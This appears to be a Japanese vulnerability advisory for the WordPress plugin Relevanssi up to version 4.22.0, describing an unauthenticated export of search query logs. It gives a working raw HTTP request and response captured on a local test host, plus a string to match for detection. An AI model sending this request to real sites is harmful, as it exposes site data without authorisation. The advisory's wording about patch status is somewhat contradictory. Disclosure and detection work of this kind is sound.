
Relevanssi – A Better Search <= 4.22.0 - 認証欠如による未認証クエリログエクスポート
WordPress用プラグインRelevanssi – A Better Searchは、バージョン4.22.0以前の全バージョンにおいて、relevanssi_export_log_check()関数に機能チェックが欠如しているため、データへの不正アクセスに対して脆弱です。これにより、未認証の攻撃者がクエリログデータをエクスポートすることが可能になります。ベンダーは適切な認証制御のための機能チェック追加を検討中としていますが、本脆弱性は理論上そのままパッチ済みとされています。
リクエスト
POST /wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/options-general.php?page=relevanssi%2Frelevanssi.php&tab=logging
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Origin: http://kubernetes.docker.internal
Connection: keep-alive
tab=logging&relevanssi_omit_from_logs=&relevanssi_trim_logs=&relevanssi_export=Export+the+log+as+a+CSV+file
レスポンス
HTTP/1.1 200 OK
Date: Wed, 25 Sep 2024 14:46:13 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.11
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
Last-Modified: Wed, 25 Sep 2024 14:46:14 GMT
Content-Disposition: attachment;filename=relevanssi_log.csv
Content-Transfer-Encoding: binary
Content-Length: 29
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/download
"No search keywords logged."
実際にプラグインを操作していないため、野生でこの動作を探す場合は filename=relevanssi_log.csv と照合することをお勧めします。